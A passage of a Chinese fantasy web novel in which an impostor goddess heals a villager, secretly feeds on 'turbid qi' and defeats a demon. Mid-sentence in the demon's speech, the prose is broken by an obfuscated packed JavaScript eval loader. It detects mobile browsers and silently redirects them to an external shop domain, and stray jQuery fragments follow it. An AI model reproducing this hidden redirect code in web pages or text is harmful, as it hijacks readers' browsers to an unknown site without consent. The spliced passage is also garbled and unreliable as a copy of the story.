门开了,露出宁禾那张圆圆的脸,她又惊又喜,将拐杖撑在腋下就要行礼,林言若立刻制止了她。

    “不必行礼,我就是来看看你的伤如何了。”

    房内,宁禾拿出家里仅有的两把板凳,让林言若和谢尘映坐下。

    林言若谢过好意,表示她不用坐,谢尘映闻言也说自己不用坐,让他们坐就行。宁禾和村长等人便一直推脱,说应该让尊神和圣徒坐。

    林言若最烦这样扯来扯去,语气坚决:“我不坐。我时间紧迫,你赶紧坐下让我看伤口。”

    说着,她一把按着宁禾的肩将她按到板凳上,又卷起她的裤腿。

    宁禾一边心中感动,一边指着膝盖上的伤口:“这就是昨日摔的。”

    伤口圆圆的,约大拇指盖的大小,按理说一夜过去应当开始结痂,可是这伤口还是鲜红的,还在向外渗血。

    除此之外,林言若看到了伤口边缘泛着灰黑色的雾气,她知道,这就是别人所看不到的浊气。不过,浊气只是围着伤口兜圈,却不敢蚀入体内,似乎在忌惮什么。

    她将手悬空覆在伤口上,吸走了浊气,掌心通过血液静静感受宁禾体内的气息。

    善息!

    林言若心中一颤,强忍着不露出什么震惊的表情。

    原来宁禾是善息净体。若宁禾遇上真的尊神,大抵能有一番好机缘,可惜,她运气不好,遇上的是自己这个冒牌货。

    林言若留了个心眼,这罕见的善息净体,日后可为她所用。

    吸完浊气,她顿了顿,如果伤口还是血淋淋的,岂不是不像神仙作风?以免旁人起疑,她轻轻凝出一道柔和紫光,将伤口愈合,顺带拂过脚踝,把崴伤也治愈了。

    果然,这下她将手拿下来时,周围便是一阵惊呼。

    “天哪,尊神果然神通广大!竟然一瞬便治好了!”

    “不愧是尊神!”

    “那当然了!这么一点小伤,对尊神就是手到擒来的事!”

    一圈夸奖声中,谢尘映声音冒出来,语气里是藏不住的骄傲。

    林言若无暇顾及。为了拉拢宁禾,她罕见地露出一抹笑意,不复方才见众人时的冷淡,向宁禾温柔地问道:“你这伤,是摔在山脚下弄的?除了山脚下的泥土,还碰到别的什么没有?”

    宁禾摇摇头。

    如此一来,基本确定浊气便是藏在土地里了。

    林言若嘱托了几句好好养伤的话,站起身,对着身后的村民们说:

    “不是你们事情多。那日天象动荡,泻下许多浊气,你们这里又在山脚,泥土里淤积浊秽才会如此。我替你们净化一番就好。”

    村民们听了大喜过望,连连道谢。

    不多时,村长便带着林言若来到村子中央

    谢尘映见林言若准备施法,便自觉地带领村民们留出大片空地,侍立在一边。

    林言若双手揉圆,一缕微风穿过两手间,再缓缓飞入地面。接着微风越来越猛烈,连带着整个村子里都灌满了风,吹得树枝摇晃,树叶簌簌作响。

    当风经过村民们时,他们都清晰地感受到自己身上的疲惫烦躁被带走,就像有一层罩在他们身上的罩子被摘走了一样。

    谢尘映也觉得身上比从前轻松了几分,看着村民们脸上不自觉流露出的笑容,他也微笑起来,既为村民高兴,也替尊神高兴。

    他们都不知道的是,林言若压根不会什么净化法术,都是她瞎扯的。这里确实淤积许多浊气,而对于林言若来说,浊气恰好是她需要的,所以她施展法力,将所有浊气尽数吸纳,为她所用。

    只是浊气本就像餐前甜点,比不上纯正恶念来得管饱。林言若吸走全村人身上的浊气,也只不过像喝了碗汤。好在,这地底下还有许多,她得一次吃个够。等回了明渊殿,就只能吃那些苦巴巴的香火了。

    这些风蚯蚓一样悉数钻入地下,又像树根一样为林言若源源不断地输送浊气上来。正当她肆意享用之时,却忽然感受到地底下传来一阵躁动。

    一股不祥的预感涌上心头,突然,地面猛地颤动起来!

    一瞬间,地面绽开无数条细缝,黑烟从缝里冲出,卷起尘土。有的站在缝隙上的村民即刻便昏倒,有的则是胸闷气短,瘫坐在地上或是撑着树干,还有一些发现自己瞬间看不见了,惊恐地大喊大叫,如无头苍蝇般乱撞,小孩更是放声大哭。

    身为圣徒,常年受明渊殿香火熏染,谢尘映并未轻易受到浊气影响,手忙脚乱地扶住要跌倒的村民,拦住乱窜的人。他一边安抚众人,一边下意识望向林言若,满心都是担忧。

    他将几个老人安顿在一旁,未曾注意到屋顶上的瓦片叮叮作响。

    忽然,一双手抓住他的肩像旁边一揽!

    “垮啦!”几片瓦片摔碎在他刚刚站着的地方。

    谢尘映吓出一身冷汗,回过头,眼前是林言若细长的眉毛和冷峻的眼神。狂风吹乱了她的长发,将发尾吹向谢尘映,末梢在谢尘映的脸上轻轻挠动,谢尘映不自觉闭上眼睛,心跳骤然加速。

    “当心些!”

    再睁眼,林言若已经离开,冲向混乱的中心。

    另一边,宁禾惊奇地发现自己也未受影响,想着或许是受过尊神治疗的缘故,她努力帮忙安抚众人,却也分身乏术。

    一时之间,场面混乱无比,乱作一团。

    林言若看着眼前这场面,一着急,不管三七二十一,两手一撑,直接将整个村庄时间定住!

    瞬间,世界安静了。

    只是这样消耗的法力巨大,她必须尽快找出问题的根源!

    一不做二不休,她索性顺着细缝掘开土地,一团巨型黑烟飞出,升到空中。

    “浊妖?”

    亡魂妖灵汇集,久而久之成型,产生意识,最后加以浊气便会形成浊妖。

    “何人吸食吾的力量?!”

    浊妖睁开眼睛,看见林言若,先是一愣,凑近她仔细端详:“哟?这不是那群凡人天天拜的东西

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964196|214425||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    么?怎么,你个玉石墩子也成了精?就是你在吃我的浊气?”

    林言若冷笑一声:“苦修多载竟愚蠢至此?也罢,看在你贡献这么多浊气的份儿上,就留你一颗妖丹,算我赏你的恩典。”

    “口出狂言!”浊妖根本没把她放在眼里,张开深渊巨口,一阵剧烈的吸力简直要将所有人的魂魄吸出来。

    林言若当然不会给他这个机会,她一手施法结出护罩挡在众人头顶,隔绝浊妖的吸力,一手放在胸前,素练从袖口探头,静蓄势待发。

    等到浊妖发觉自己无法吸走任何东西而迟疑停下时,林言若瞅准时机,伸手一指!

    素练像箭一般射了出去,将浊妖五花大绑。林言若再用力一勒,浊妖瞬间四分五裂,被切分成几块黑雾。她挥舞素练,一一抽击那几块黑雾,黑雾应声碎裂,浊气像被风吹的蒲公英一般散开,飞得漫天都是。林言若趁热打铁,舒展双臂,两手作利爪状,飞速吸收着所有的浊气。

    浊妖拼尽全力想守住自己的浊气,奈何林言若的功力比它强上千百倍,它就像狂风中的一颗树苗,根本无力抵抗。

    浊气不断飞入林言若体内,没过多久,浊妖只剩一小团虚弱的雾气。林言若缓缓落回地面,闭着眼睛,感受着体内充盈的力量,露出了餍足的微笑。她伸手穿进雾气,抓住妖丹,硬生生将它拔了出来。

    “你...你不是说留我一颗妖丹吗?”浊妖眼睁睁看着妖丹被取走,身体开始逐渐消散,不甘心地问。

    在浊妖绝望的眼神中,林言若把妖丹放进贴身的乾坤袋内,她挑衅似的拍拍袋子,笑容狡黠:“这不是留着吗?你安心去吧!”

    村民们再回过神来时,方才所有的不适一扫而空,仿佛只是一个短暂的幻觉。只看到尊神立于正中央,挥一挥手,风便止住了。

    尊神似乎比刚下山时更有威严了。

    “方才,地下浊妖作乱,已被我降伏镇压,你们无需担心。”

    不愧是尊神,竟一瞬之间就镇压了妖祟!

    村民们心中一时大为震撼,也顾不得尊神说的,忍不住齐齐跪下拜谢尊神:“尊神神威盖世!”

    村长更是热泪盈眶:“尊神救我等于水火,我等感恩不尽!一定世世代代供奉尊神!”

    林言若见众人拜得忘乎所以,也懒得叫他们起来了,端起一副尊神的笑脸便离开了村子,村民们浩浩荡荡一路相送,直到快回树林时,宁禾轻轻叫住了林言若。

    “尊神,要是以后大伙想上去,又被拦怎么办?”

    林言若回头挑眉,看着谢尘映满脸期待的眼神,意识到这也是尊神要解决的问题,于是随手扯下一根红色头绳。

    “我回去会叫他们打开山门。这根头绳你收好,上面有我的气息,带着它上来,我会感应到。若是他们阳奉阴违,你强行闯入殿里,也无人能拦。”

    宁禾接过头绳,鞠躬道谢,再起身,林言若和谢尘映的身影消失在树林中。

    “哇啊啊啊——”